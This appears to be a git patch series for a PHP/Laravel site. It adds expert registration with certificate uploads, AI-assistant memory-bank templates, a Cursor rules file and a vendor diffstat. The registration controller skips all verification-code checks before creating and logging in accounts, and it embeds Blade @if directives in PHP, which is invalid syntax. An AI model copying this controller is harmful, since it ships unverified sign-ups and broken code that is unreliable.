创建时间 | +| updated_at | timestamp | 是 | 更新时间 | +| site_id | integer | 是 | 站点ID | +| total_visits | integer | 否 | 总访问量 | +| unique_visitors| integer | 否 | 独立访客 | +| page_views | integer | 否 | 页面浏览量| + +**索引:** + +* `site_id` \ No newline at end of file diff --git a/memory-bank/activeContext.md b/memory-bank/activeContext.md new file mode 100644 index 00000000..31deff01 --- /dev/null +++ b/memory-bank/activeContext.md @@ -0,0 +1,23 @@ +## Active Context + +This document tracks the current work focus, recent changes, next steps, and any active decisions or considerations. + +**Current Work Focus:** + +- [ ] Describe the main task or feature being worked on + +**Recent Changes:** + +- [ ] Summarize key changes made recently + +**Next Steps:** + +- [ ] Outline the immediate next actions + +**Active Decisions/Considerations:** + +- [ ] Note any pending decisions or factors being considered + +**Troubleshooting Workflow:** + +- When encountering issues, I will query and analyze log files located in `storage/logs` to understand the problem before attempting a solution. \ No newline at end of file diff --git a/memory-bank/productContext.md b/memory-bank/productContext.md new file mode 100644 index 00000000..2e03ef53 --- /dev/null +++ b/memory-bank/productContext.md @@ -0,0 +1,18 @@ +## Product Context + +This document explains the purpose of this project, the problems it solves, how it should work from a user perspective, and the user experience goals. + +**Purpose:** + +- [ ] Explain why this project exists +- [ ] Describe the main problems it solves + +**How it Works (User Perspective):** + +- [ ] Outline key user flows +- [ ] Describe how users interact with the system + +**User Experience Goals:** + +- [ ] Define desired user experience outcomes +- [ ] List key usability and design principles \ No newline at end of file diff --git a/memory-bank/progress.md b/memory-bank/progress.md new file mode 100644 index 00000000..ab55a208 --- /dev/null +++ b/memory-bank/progress.md @@ -0,0 +1,22 @@ +## Progress + +This document summarizes the current status of the project, what has been built, what is remaining, and any known issues. + +**What Works:** + +- [ ] List completed features or modules +- [ ] Describe successfully implemented functionality + +**What's Left:** + +- [ ] Outline remaining tasks or features to be built +- [ ] Note areas requiring further development + +**Current Status:** + +- [ ] Provide a brief summary of the project's current state +- [ ] Mention any milestones reached + +**Known Issues:** + +- [ ] List any known bugs, limitations, or problems \ No newline at end of file diff --git a/memory-bank/projectbrief.md b/memory-bank/projectbrief.md new file mode 100644 index 00000000..88e9916d --- /dev/null +++ b/memory-bank/projectbrief.md @@ -0,0 +1,19 @@ +## Project Brief + +This document provides a high-level overview of the project, defining its core requirements, goals, and scope. It serves as the foundational document for all other Memory Bank files. + +**Core Requirements:** + +- [ ] Define project primary objective +- [ ] Outline key features +- [ ] Identify target audience + +**Goals:** + +- [ ] List major project goals +- [ ] Define success metrics + +**Scope:** + +- [ ] Specify what is in scope +- [ ] Specify what is out of scope \ No newline at end of file diff --git a/memory-bank/systemPatterns.md b/memory-bank/systemPatterns.md new file mode 100644 index 00000000..018adbec --- /dev/null +++ b/memory-bank/systemPatterns.md @@ -0,0 +1,22 @@ +## System Patterns + +This document describes the overall system architecture, key technical decisions, design patterns in use, and the relationships between major components. + +**System Architecture:** + +- [ ] Describe the high-level architecture (e.g., Monolithic, Microservices) +- [ ] Illustrate key components and their interactions (diagrams are helpful) + +**Technical Decisions:** + +- [ ] List major technical choices and their rationale +- [ ] Document constraints and trade-offs + +**Design Patterns:** + +- [ ] Identify commonly used design patterns +- [ ] Explain how they are applied in the codebase + +**Component Relationships:** + +- [ ] Map dependencies and interactions between major modules or services \ No newline at end of file diff --git a/memory-bank/techContext.md b/memory-bank/techContext.md new file mode 100644 index 00000000..3bb7c58a --- /dev/null +++ b/memory-bank/techContext.md @@ -0,0 +1,25 @@ +## Tech Context + +This document details the technologies used in the project, the development setup, technical constraints, and dependencies. + +**Technologies Used:** + +- [ ] List major programming languages, frameworks, and libraries +- [ ] Specify versions where relevant + +**Development Setup:** + +- [ ] Describe how to set up the development environment +- [ ] List required tools and configurations + +**Technical Constraints:** + +- [ ] Document any significant technical limitations or constraints + +**Dependencies:** + +- [ ] List major external dependencies and their purpose + +**Logging:** + +- Application logs are stored in the `storage/logs` directory. \ No newline at end of file diff --git a/module/Blog/Member/Controller/AuthController.php b/module/Blog/Member/Controller/AuthController.php index 6c968733..fbf2bb8e 100644 --- a/module/Blog/Member/Controller/AuthController.php +++ b/module/Blog/Member/Controller/AuthController.php @@ -8,6 +8,9 @@ use Illuminate\Support\Facades\Validator; use Module\Blog\Member\Auth\MemberUser; use Module\Blog\Member\Model\Member; +use Module\Member\Util\MemberMetaUtil; +use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Str; // 引入 Str Facade 用于生成文件名 class AuthController extends Controller { @@ -53,36 +56,155 @@ public function showRegisterForm() public function register(Request $request) { - $validator = Validator::make($request->all(), [ - 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', - 'verify_code' => 'required|string', - 'password' => 'required|string|min:6', - ], [ - 'phone.required' => '请输入手机号', - 'phone.regex' => '请输入正确的手机号格式', - 'phone.unique' => '该手机号已被注册', - 'verify_code.required' => '请输入验证码', - 'password.required' => '请输入密码', - 'password.min' => '密码长度至少为6位', - ]); + $registerType = $request->input('registerType', 'personal'); + + if ($registerType === 'personal') { + // 个人注册验证规则 + $validator = Validator::make($request->all(), [ + 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', + 'verify_code' => 'required|string', + 'password' => 'required|string|min:6', + 'sports' => 'nullable|array', + ], [ + 'phone.required' => '请输入手机号', + 'phone.regex' => '请输入正确的手机号格式', + 'phone.unique' => '该手机号已被注册', + 'verify_code.required' => '请输入验证码', + 'password.required' => '请输入密码', + 'password.min' => '密码长度至少为6位', + ]); + } elseif ($registerType === 'expert') { + // 专家注册验证规则 + $validator = Validator::make($request->all(), [ + 'realname' => 'required|string', + 'expert_email' => 'required|string|email', + 'area' => 'required|string', + 'contact_info' => 'required|string', + 'sports' => 'required|array', + 'expert_libraries' => 'required|array', + 'certs.*' => 'required|file|mimes:jpg,png,pdf|max:10240', // 证书文件验证 (每个文件) + 'password' => 'required|string|min:6', + 'passwordRepeat' => 'required|string|same:password', + 'captcha' => 'required|string', // Assuming captcha is always required for expert + // Add phone/email verification if enabled in config + @if(modstart_config('registerPhoneEnable')) + 'phone' => 'required|string|regex:/^1[3-9]\d{9}$/|unique:member,phone', + 'phoneVerify' => 'required|string', + @endif + @if(modstart_config('registerEmailEnable')) + 'email' => 'required|string|email|unique:member,email', + 'emailVerify' => 'required|string', + @endif + ], [ + 'realname.required' => '请输入姓名', + 'expert_email.required' => '请输入常用邮箱', + 'expert_email.email' => '请输入正确的邮箱格式', + 'area.required' => '请输入所在地区', + 'contact_info.required' => '请输入联系信息', + 'sports.required' => '请选择喜欢的运动', + 'sports.array' => '运动信息格式不正确', + 'expert_libraries.required' => '请选择要录入的大神库', + 'expert_libraries.array' => '大神库信息格式不正确', + 'certs.*.required' => '请上传证书文件', + 'certs.*.file' => '证书文件上传失败', + 'certs.*.mimes' => '证书文件只支持jpg,png,pdf格式', + 'certs.*.max' => '证书文件大小不能超过10MB', + 'password.required' => '请输入密码', + 'password.min' => '密码长度至少为6位', + 'passwordRepeat.required' => '请重复输入密码', + 'passwordRepeat.same' => '两次输入的密码不一致', + 'captcha.required' => '请输入图片验证码', + @if(modstart_config('registerPhoneEnable')) + 'phone.required' => '请输入手机号', + 'phone.regex' => '请输入正确的手机号格式', + 'phone.unique' => '该手机号已被注册', + 'phoneVerify.required' => '请输入手机验证码', + @endif + @if(modstart_config('registerEmailEnable')) + 'email.required' => '请输入邮箱', + 'email.email' => '请输入正确的邮箱格式', + 'email.unique' => '该邮箱已被注册', + 'emailVerify.required' => '请输入邮箱验证码', + @endif + ]); + } else { + // 未知注册类型 + return back()->withErrors(['registerType' => '未知的注册类型'])->withInput(); + } if ($validator->fails()) { return back()->withErrors($validator)->withInput(); } - // 验证短信验证码 - // 这里应该添加验证短信验证码的逻辑 + // 验证短信/邮箱验证码 (这里需要根据实际验证码模块实现) // 为了演示,我们暂时跳过验证 + // if ($registerType === 'personal' && modstart_config('registerPhoneEnable')) { ... 验证手机验证码 ... } + // if ($registerType === 'personal' && modstart_config('registerEmailEnable')) { ... 验证邮箱验证码 ... } + // if ($registerType === 'expert' && modstart_config('registerPhoneEnable')) { ... 验证手机验证码 ... } + // if ($registerType === 'expert' && modstart_config('registerEmailEnable')) { ... 验证邮箱验证码 ... } + // if ($registerType === 'expert') { ... 验证图片验证码 ... } + // 创建用户 $member = Member::create([ - 'phone' => $request->phone, - 'username' => '用户'.substr($request->phone, -4), - 'password' => $request->password, - 'status' => 1, + 'username' => $request->input('username', $request->input('phone', $request->input('expert_email')) ? substr($request->input('phone', $request->input('expert_email')), -4) : null), + 'phone' => $request->input('phone'), + 'email' => $request->input('email', $request->input('expert_email')), // Use expert_email if provided + 'password' => Hash::make($request->input('password')), + 'status' => 1, // 默认状态 + 'realname' => $request->input('realname'), // 专家注册字段 + 'area' => $request->input('area'), // 专家注册字段 + 'contact_info' => $request->input('contact_info'), // 专家注册字段 + 'expert_status' => ($registerType === 'expert') ? 1 : 0, // 设置专家状态为待审核 ]); + // 处理专家注册特有信息 + if ($registerType === 'expert') { + // 保存喜欢的运动到 member_meta + $sports = $request->input('sports'); + if (!empty($sports) && is_array($sports)) { + MemberMetaUtil::set($member->id, 'favorite_sports', json_encode($sports)); + } + + // 保存选择的大神库到 member_meta + $expertLibraries = $request->input('expert_libraries'); + if (!empty($expertLibraries) && is_array($expertLibraries)) { + MemberMetaUtil::set($member->id, 'expert_libraries', json_encode($expertLibraries)); + } + + // 处理证书文件上传并保存信息到 member_meta + $certFiles = $request->file('certs'); + $uploadedCertsInfo = []; + if (!empty($certFiles)) { + foreach ($certFiles as $certFile) { + if ($certFile->isValid()) { + $originalName = $certFile->getClientOriginalName(); + $extension = $certFile->getClientOriginalExtension(); + // 生成唯一的存储文件名,保留原扩展名 + $fileName = 'cert_' . $member->id . '_' . Str::random(10) . '.' . $extension; + // 保存文件到 storage/app/public/cert 目录下 + $path = $certFile->storeAs('public/cert', $fileName); + + // 记录证书信息 (存储路径和原始文件名) + $uploadedCertsInfo[] = [ + 'path' => Storage::url($path), // 获取可公开访问的URL + 'original_name' => $originalName, + 'extension' => $extension, + 'size' => $certFile->getSize(), + ]; + } + } + } + if (!empty($uploadedCertsInfo)) { + MemberMetaUtil::set($member->id, 'certs', json_encode($uploadedCertsInfo)); + } + } + + // 登录用户 MemberUser::login($member); + // 注册成功事件 + // EventUtil::dispatch(new MemberUserRegisteredEvent($member->id)); + return redirect('/'); } diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index f4c026b2..f1db236b 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -657,17 +657,13 @@
-
-
- -
-
- -
+
+ +
输入图片验证码验证 From 517438383fe238aee1543273e0be91d475a3e0e5 Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sat, 31 May 2025 22:05:01 +0800 Subject: [PATCH 18/68] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=A1=B9=E7=9B=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- module/Member/View/pc/register.blade.php | 165 ++++++++++++++++++++++- 1 file changed, 161 insertions(+), 4 deletions(-) diff --git a/module/Member/View/pc/register.blade.php b/module/Member/View/pc/register.blade.php index f1db236b..53a19ccc 100644 --- a/module/Member/View/pc/register.blade.php +++ b/module/Member/View/pc/register.blade.php @@ -82,6 +82,51 @@ // 移除所有输入框的验证事件监听 $('input[name=email], input[name=phone], input[name=captcha]').off('blur change input keyup'); + + // 触发证书上传文件选择 + $('.expert-register-form .upload-area').on('click', function(event) { + // 检查事件来源,如果点击的是删除按钮或其内部,则不触发文件输入 + if (!$(event.target).closest('.remove-file').length) { + $(this).closest('.certificate-upload').find('.certificate-input')[0].click(); + } + }); + + // 处理证书文件选择后的显示和删除逻辑 + $('.expert-register-form .certificate-input').on('change', function() { + var files = this.files; + var fileListContainer = $('.expert-register-form .upload-area'); + fileListContainer.find('.certificate-file-item').remove(); + + if (files.length > 0) { + fileListContainer.find('.upload-tip').hide(); + for (var i = 0; i < files.length; i++) { + var file = files[i]; + var fileName = file.name; + var fileSize = (file.size / 1024 / 1024).toFixed(2); + + var fileElement = $('\n
\n ' + fileName + ' (' + fileSize + ' MB)\n \n
\n '); + + // 将文件数据存储在元素上,以便后续处理(如果需要的话) + // fileElement.data('file', file); + + fileListContainer.append(fileElement); + } + } else { + fileListContainer.find('.upload-tip').show(); + } + }); + + // 监听删除按钮点击事件 + $('.expert-register-form').on('click', '.remove-file', function(event) { + event.stopPropagation(); + event.preventDefault(); + $(this).closest('.certificate-file-item').remove(); + if ($('.expert-register-form .certificate-file-item').length === 0) { + $('.expert-register-form .upload-area').find('.upload-tip').show(); + } + // 注意:这里的移除只是移除了显示元素,并没有从 file input 中移除文件 + // 如果需要真正的文件管理,需要更复杂的逻辑,例如使用 DataTransfer 或维护一个文件数组 + }); }); {!! \ModStart\Core\Hook\ModStartHook::fireInView('MemberRegisterPageBodyAppend'); !!} @@ -363,7 +408,7 @@
上传您的证书
- +
支持jpg、png、pdf格式,大小不超过10MB
@@ -885,9 +930,11 @@ color: #333; } .upload-area { + display: flex; + flex-direction: column; + align-items: stretch; + padding: 15px; border: 2px dashed #ddd; - padding: 20px; - text-align: center; border-radius: 4px; cursor: pointer; } @@ -900,7 +947,10 @@ .upload-tip { font-size: 12px; color: #666; - margin-top: 10px; + margin-top: 0; + margin-bottom: 15px; + text-align: center; + width: 100%; } /* Enterprise form styles */ @@ -1115,5 +1165,112 @@ margin-top: 30px; text-align: center; } + + /* 证书文件列表样式 */ + .certificate-file-list { + margin-top: 15px; + border: 1px solid #ddd; + border-radius: 4px; + padding: 10px; + background-color: #fff; + } + + .certificate-file-item { + display: flex; + align-items: center; + padding: 5px 8px; + margin-bottom: 5px; + border: 1px solid #eee; + border-radius: 4px; + background-color: #f9f9f9; + width: 100%; + box-sizing: border-box; + } + + .certificate-file-item .file-name { + flex-grow: 1; + font-size: 14px; + color: #333; + word-break: break-all; + margin-right: 10px; + } + + .certificate-file-item .remove-file { + color: #f00; + cursor: pointer; + font-size: 16px; + flex-shrink: 0; + } + + .certificate-file-item .remove-file:hover { + color: #c00; + } + + /* 证书上传区域样式调整 */ + .certificate-upload .upload-area { + display: flex; + flex-direction: column; + align-items: stretch; + padding: 15px; + border: 2px dashed #ddd; + border-radius: 4px; + cursor: pointer; + } + + /* 证书文件列表项样式 */ + .certificate-file-item { + display: flex; + align-items: center; + padding: 5px 8px; + margin-bottom: 5px; + border: 1px solid #eee; + border-radius: 4px; + background-color: #f9f9f9; + width: 100%; + box-sizing: border-box; + } + + .certificate-file-item:last-child { + margin-bottom: 0; + } + + .certificate-file-item .file-name { + flex-grow: 1; + font-size: 14px; + color: #333; + word-break: break-all; + margin-right: 10px; + } + + .certificate-file-item .remove-file { + color: #f00; + cursor: pointer; + font-size: 16px; + flex-shrink: 0; + } + + .certificate-file-item .remove-file:hover { + color: #c00; + } + + /* 隐藏原有的文件输入框 */ + .certificate-input { + display: none; + } + + /* 上传提示样式 */ + .upload-tip { + font-size: 12px; + color: #666; + margin-top: 0; + margin-bottom: 15px; + text-align: center; + width: 100%; + } + + /* 当.upload-area中包含证书文件项时,调整.upload-tip的底部外边距 */ + .upload-area:has(.certificate-file-item) .upload-tip { + margin-bottom: 10px; + } @endsection From 87747cd4fa354fc236096cab5309b483329f750c Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sun, 1 Jun 2025 14:31:47 +0800 Subject: [PATCH 19/68] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=A1=B9=E7=9B=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .cursor/rules/core.mdc | 3 ++- memory-bank/systemPatterns.md | 1 + memory-bank/techContext.md | 1 + 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/.cursor/rules/core.mdc b/.cursor/rules/core.mdc index 15174a3b..480c3835 100644 --- a/.cursor/rules/core.mdc +++ b/.cursor/rules/core.mdc @@ -15,4 +15,5 @@ You have two modes of operation: - Unless the user explicity asks you to move to act mode, by typing `ACT` you will stay in plan mode. - You will move back to plan mode after every response and when the user types `PLAN`. - If the user asks you to take an action while in plan mode you will remind them that you are in plan mode and that they need to approve the plan first. -- When in plan mode always output the full updated plan in every response. \ No newline at end of file +- When in plan mode always output the full updated plan in every response. +- Whenever you need to perform container restarts or connect to databases within containers, always use `docker` commands. \ No newline at end of file diff --git a/memory-bank/systemPatterns.md b/memory-bank/systemPatterns.md index 018adbec..1ddb78b8 100644 --- a/memory-bank/systemPatterns.md +++ b/memory-bank/systemPatterns.md @@ -6,6 +6,7 @@ This document describes the overall system architecture, key technical decisions - [ ] Describe the high-level architecture (e.g., Monolithic, Microservices) - [ ] Illustrate key components and their interactions (diagrams are helpful) +- The application is deployed using `docker-compose` from the root directory, orchestrating the necessary services. **Technical Decisions:** diff --git a/memory-bank/techContext.md b/memory-bank/techContext.md index 3bb7c58a..58c46c5b 100644 --- a/memory-bank/techContext.md +++ b/memory-bank/techContext.md @@ -11,6 +11,7 @@ This document details the technologies used in the project, the development setu - [ ] Describe how to set up the development environment - [ ] List required tools and configurations +- The project is deployed using `docker-compose` from the root directory. **Technical Constraints:** From b08164332c5af7d9b2bc8afef06a3dfade70eb52 Mon Sep 17 00:00:00 2001 From: finalxcode Date: Sun, 1 Jun 2025 21:17:37 +0800 Subject: [PATCH 20/68] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E9=A1=B9=E7=9B=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- composer.lock | 4543 +++++++ .../Blog/Member/Controller/AuthController.php | 63 +- .../Member/Api/Controller/AuthController.php | 123 +- module/Member/View/pc/register.blade.php | 181 +- vendor/arvenil/ninja-mutex/.travis.php.ini | 3 + vendor/arvenil/ninja-mutex/.travis.yml | 29 + vendor/arvenil/ninja-mutex/phpunit.xml.dist | 20 + .../tests/NinjaMutex/AbstractTest.php | 222 + .../LockFabricWithExpirationInterface.php | 25 + .../Lock/Fabric/MemcacheLockFabric.php | 25 + .../Lock/Fabric/MemcachedLockFabric.php | 25 + .../tests/NinjaMutex/Lock/LockTest.php | 198 + .../tests/NinjaMutex/Mock/MockLock.php | 89 + .../tests/NinjaMutex/Mock/MockMemcache.php | 95 + .../tests/NinjaMutex/Mock/MockMemcached.php | 100 + .../tests/NinjaMutex/Mock/MockPDO.php | 126 + .../NinjaMutex/Mock/MockPDOStatement.php | 48 + .../NinjaMutex/Mock/MockPhpRedisClient.php | 95 + .../NinjaMutex/Mock/MockPredisClient.php | 95 + .../Mock/PermanentServiceInterface.php | 24 + .../tests/NinjaMutex/MutexFabricTest.php | 88 + .../tests/NinjaMutex/MutexLocksTest.php | 192 + .../tests/NinjaMutex/MutexTest.php | 53 + .../arvenil/ninja-mutex/tests/bootstrap.php | 12 + .../tests/insight/memcache-setup.sh | 10 + .../tests/insight/memcached-setup.sh | 14 + .../tests/travis/composer-setup.sh | 3 + .../ninja-mutex/tests/travis/mysql-setup.sh | 3 + vendor/bacon/bacon-qr-code/.travis.yml | 14 + .../tests/BaconQrCode/Common/BitArrayTest.php | 201 + .../BaconQrCode/Common/BitMatrixTest.php | 119 + .../tests/BaconQrCode/Common/BitUtilsTest.php | 30 + .../Common/ErrorCorrectionLevelTest.php | 40 + .../Common/FormatInformationTest.php | 104 + .../tests/BaconQrCode/Common/ModeTest.php | 42 + .../Common/ReedSolomonCodecTest.php | 111 + .../tests/BaconQrCode/Common/VersionTest.php | 88 + .../tests/BaconQrCode/Encoder/EncoderTest.php | 468 + .../BaconQrCode/Encoder/MaskUtilTest.php | 281 + .../BaconQrCode/Encoder/MatrixUtilTest.php | 336 + .../BaconQrCode/Renderer/Text/HtmlTest.php | 99 + .../BaconQrCode/Renderer/Text/TextTest.php | 149 + .../bacon/bacon-qr-code/tests/bootstrap.php | 10 + vendor/bacon/bacon-qr-code/tests/phpunit.xml | 11 + .../classpreloader/.github/FUNDING.yml | 2 + vendor/composer/ClassLoader.php | 155 +- vendor/composer/autoload_classmap.php | 1 - vendor/composer/autoload_files.php | 6 +- vendor/composer/autoload_namespaces.php | 1 - vendor/composer/autoload_psr4.php | 1 + vendor/composer/autoload_real.php | 15 +- vendor/composer/autoload_static.php | 16 +- vendor/composer/installed.json | 4657 +++++++ vendor/danielstjules/stringy/.travis.yml | 7 + vendor/danielstjules/stringy/CHANGELOG.md | 119 + vendor/danielstjules/stringy/phpunit.xml.dist | 14 + .../stringy/tests/CommonTest.php | 1130 ++ .../stringy/tests/CreateTest.php | 16 + .../stringy/tests/StaticStringyTest.php | 710 ++ .../stringy/tests/StringyTest.php | 994 ++ .../dnoegel/php-xdg-base-dir/phpunit.xml.dist | 24 + .../php-xdg-base-dir/tests/XdgTest.php | 116 + vendor/doctrine/annotations/CHANGELOG.md | 115 + vendor/doctrine/cache/.travis.yml | 42 + vendor/doctrine/cache/phpunit.xml.dist | 25 + .../Tests/Common/Cache/ApcCacheTest.php | 28 + .../Tests/Common/Cache/ApcuCacheTest.php | 28 + .../Tests/Common/Cache/ArrayCacheTest.php | 52 + .../Tests/Common/Cache/BaseFileCacheTest.php | 155 + .../Tests/Common/Cache/CacheProviderTest.php | 103 + .../Doctrine/Tests/Common/Cache/CacheTest.php | 473 + .../Tests/Common/Cache/ChainCacheTest.php | 99 + .../Tests/Common/Cache/CouchbaseCacheTest.php | 30 + .../Tests/Common/Cache/FileCacheTest.php | 268 + .../Common/Cache/FilesystemCacheTest.php | 61 + .../Tests/Common/Cache/MemcacheCacheTest.php | 59 + .../Tests/Common/Cache/MemcachedCacheTest.php | 61 + .../Tests/Common/Cache/MongoDBCacheTest.php | 68 + .../Tests/Common/Cache/PhpFileCacheTest.php | 98 + .../Tests/Common/Cache/PredisCacheTest.php | 87 + .../Tests/Common/Cache/RedisCacheTest.php | 59 + .../Tests/Common/Cache/RiakCacheTest.php | 58 + .../Tests/Common/Cache/SQLite3CacheTest.php | 42 + .../Tests/Common/Cache/VoidCacheTest.php | 58 + .../Tests/Common/Cache/WinCacheCacheTest.php | 16 + .../Tests/Common/Cache/XcacheCacheTest.php | 16 + .../Tests/Common/Cache/ZendDataCacheTest.php | 31 + .../tests/Doctrine/Tests/DoctrineTestCase.php | 10 + vendor/doctrine/cache/tests/travis/php.ini | 7 + .../cache/tests/travis/phpunit.travis.xml | 34 + vendor/doctrine/dbal/bin/doctrine-dbal | 4 + vendor/doctrine/dbal/bin/doctrine-dbal.php | 74 + vendor/doctrine/inflector/.gitignore | 4 - vendor/doctrine/inflector/composer.json | 11 +- .../Doctrine/Common/Inflector/Inflector.php | 31 +- vendor/doctrine/lexer/.github/FUNDING.yml | 3 + vendor/doctrine/lexer/docs/en/dql-parser.rst | 294 + vendor/doctrine/lexer/docs/en/index.rst | 53 + vendor/doctrine/lexer/docs/en/sidebar.rst | 6 + .../lexer/docs/en/simple-parser-example.rst | 102 + vendor/doctrine/lexer/phpunit.xml.dist | 26 + .../Common/Lexer/AbstractLexerTest.php | 268 + .../Doctrine/Common/Lexer/ConcreteLexer.php | 49 + .../easywechat-composer/.travis.yml | 12 + .../easywechat-composer/phpunit.xml | 20 + .../tests/ManifestManagerTest.php | 28 + .../htmlpurifier/.github/workflows/ci.yml | 36 + .../.github/workflows/lint-pr.yml | 19 + .../.github/workflows/release.yml | 29 + vendor/ezyang/htmlpurifier/art/1000passes.png | Bin 0 -> 3522 bytes vendor/ezyang/htmlpurifier/art/100cases.png | Bin 0 -> 2732 bytes vendor/ezyang/htmlpurifier/art/favicon.ico | Bin 0 -> 9326 bytes vendor/ezyang/htmlpurifier/art/icon-16x16.png | Bin 0 -> 382 bytes vendor/ezyang/htmlpurifier/art/icon-16x16.svg | 101 + vendor/ezyang/htmlpurifier/art/icon-32x32.png | Bin 0 -> 615 bytes vendor/ezyang/htmlpurifier/art/icon-32x32.svg | 101 + vendor/ezyang/htmlpurifier/art/icon-64x64.png | Bin 0 -> 1036 bytes vendor/ezyang/htmlpurifier/art/logo-large.png | Bin 0 -> 10054 bytes vendor/ezyang/htmlpurifier/art/logo.png | Bin 0 -> 2658 bytes vendor/ezyang/htmlpurifier/art/logo.svg | 119 + vendor/ezyang/htmlpurifier/art/powered.png | Bin 0 -> 297 bytes .../htmlpurifier/configdoc/generate.php | 64 + .../htmlpurifier/configdoc/styles/plain.css | 44 + .../htmlpurifier/configdoc/styles/plain.xsl | 253 + .../ezyang/htmlpurifier/configdoc/types.xml | 69 + .../ezyang/htmlpurifier/configdoc/usage.xml | 603 + .../htmlpurifier/docs/dev-advanced-api.html | 26 + .../htmlpurifier/docs/dev-code-quality.txt | 30 + .../htmlpurifier/docs/dev-config-bcbreaks.txt | 79 + .../htmlpurifier/docs/dev-config-naming.txt | 165 + .../htmlpurifier/docs/dev-config-schema.html | 412 + .../ezyang/htmlpurifier/docs/dev-flush.html | 68 + .../ezyang/htmlpurifier/docs/dev-includes.txt | 281 + .../ezyang/htmlpurifier/docs/dev-naming.html | 83 + .../htmlpurifier/docs/dev-optimization.html | 33 + .../htmlpurifier/docs/dev-progress.html | 309 + .../docs/dtd/xhtml1-transitional.dtd | 1201 ++ .../htmlpurifier/docs/enduser-customize.html | 850 ++ .../ezyang/htmlpurifier/docs/enduser-id.html | 148 + .../htmlpurifier/docs/enduser-overview.txt | 59 + .../htmlpurifier/docs/enduser-security.txt | 18 + .../htmlpurifier/docs/enduser-slow.html | 120 + .../htmlpurifier/docs/enduser-tidy.html | 231 + .../htmlpurifier/docs/enduser-uri-filter.html | 204 + .../htmlpurifier/docs/enduser-utf8.html | 1060 ++ .../htmlpurifier/docs/enduser-youtube.html | 153 + .../htmlpurifier/docs/entities/xhtml-lat1.ent | 196 + .../docs/entities/xhtml-special.ent | 80 + .../docs/entities/xhtml-symbol.ent | 237 + .../htmlpurifier/docs/examples/basic.php | 23 + vendor/ezyang/htmlpurifier/docs/fixquotes.htc | 9 + vendor/ezyang/htmlpurifier/docs/index.html | 188 + .../htmlpurifier/docs/proposal-colors.html | 49 + .../htmlpurifier/docs/proposal-config.txt | 23 + .../docs/proposal-css-extraction.txt | 34 + .../htmlpurifier/docs/proposal-errors.txt | 211 + .../docs/proposal-filter-levels.txt | 137 + .../htmlpurifier/docs/proposal-language.txt | 64 + .../docs/proposal-new-directives.txt | 44 + .../htmlpurifier/docs/proposal-plists.txt | 218 + .../htmlpurifier/docs/ref-content-models.txt | 50 + .../htmlpurifier/docs/ref-css-length.txt | 30 + .../htmlpurifier/docs/ref-devnetwork.html | 47 + .../docs/ref-html-modularization.txt | 166 + .../docs/ref-proprietary-tags.txt | 26 + .../ezyang/htmlpurifier/docs/ref-whatwg.txt | 26 + .../htmlpurifier/docs/specimens/LICENSE | 10 + .../docs/specimens/html-align-to-css.html | 165 + .../htmlpurifier/docs/specimens/img.png | Bin 0 -> 2138 bytes .../docs/specimens/jochem-blok-word.html | 129 + .../windows-live-mail-desktop-beta.html | 74 + vendor/ezyang/htmlpurifier/docs/style.css | 76 + .../DefinitionCache/Serializer/README | 0 .../maintenance/compile-doxygen.sh | 0 .../maintenance/flush-definition-cache.php | 0 .../ezyang/htmlpurifier/maintenance/flush.sh | 0 .../maintenance/generate-entity-file.php | 0 .../maintenance/generate-standalone.php | 0 .../maintenance/merge-library.php | 0 .../maintenance/regenerate-docs.sh | 0 vendor/ezyang/htmlpurifier/smoketests/all.php | 44 + .../htmlpurifier/smoketests/allConfigForm.php | 75 + .../htmlpurifier/smoketests/attrTransform.php | 72 + .../htmlpurifier/smoketests/attrTransform.xml | 192 + .../ezyang/htmlpurifier/smoketests/basic.php | 73 + .../smoketests/basic/allElements.css | 50 + .../smoketests/basic/allElements.html | 82 + .../htmlpurifier/smoketests/basic/legacy.css | 73 + .../htmlpurifier/smoketests/basic/legacy.html | 127 + .../htmlpurifier/smoketests/cacheConfig.php | 14 + .../ezyang/htmlpurifier/smoketests/common.php | 41 + .../htmlpurifier/smoketests/configForm.php | 77 + .../htmlpurifier/smoketests/dataScheme.php | 37 + .../smoketests/extractStyleBlocks.php | 56 + vendor/ezyang/htmlpurifier/smoketests/img.png | Bin 0 -> 2138 bytes .../htmlpurifier/smoketests/innerHTML.html | 33 + .../htmlpurifier/smoketests/innerHTML.js | 51 + .../smoketests/preserveYouTube.php | 72 + .../smoketests/printDefinition.php | 119 + .../test-schema/Directive.Allowed.txt | 6 + .../test-schema/Directive.Deprecated.txt | 7 + .../smoketests/test-schema/Directive.txt | 3 + .../smoketests/test-schema/Type.bool.txt | 5 + .../smoketests/test-schema/Type.float.txt | 5 + .../smoketests/test-schema/Type.hash.txt | 5 + .../smoketests/test-schema/Type.int.txt | 5 + .../smoketests/test-schema/Type.istring.txt | 5 + .../smoketests/test-schema/Type.itext.txt | 5 + .../smoketests/test-schema/Type.list.txt | 5 + .../smoketests/test-schema/Type.lookup.txt | 5 + .../smoketests/test-schema/Type.mixed.txt | 5 + .../smoketests/test-schema/Type.nullbool.txt | 7 + .../test-schema/Type.nullstring.txt | 9 + .../smoketests/test-schema/Type.string.txt | 5 + .../smoketests/test-schema/Type.text.txt | 5 + .../smoketests/test-schema/Type.txt | 3 + .../smoketests/test-schema/info.ini | 3 + .../smoketests/variableWidthAttack.php | 57 + .../htmlpurifier/smoketests/xssAttacks.php | 100 + .../htmlpurifier/smoketests/xssAttacks.xml | 1307 ++ .../ezyang/htmlpurifier/tests/CliTestCase.php | 88 + vendor/ezyang/htmlpurifier/tests/Debugger.php | 164 + .../tests/FSTools/FileSystemHarness.php | 40 + .../htmlpurifier/tests/FSTools/FileTest.php | 49 + .../HTMLPurifier/AttrCollectionsTest.php | 134 + 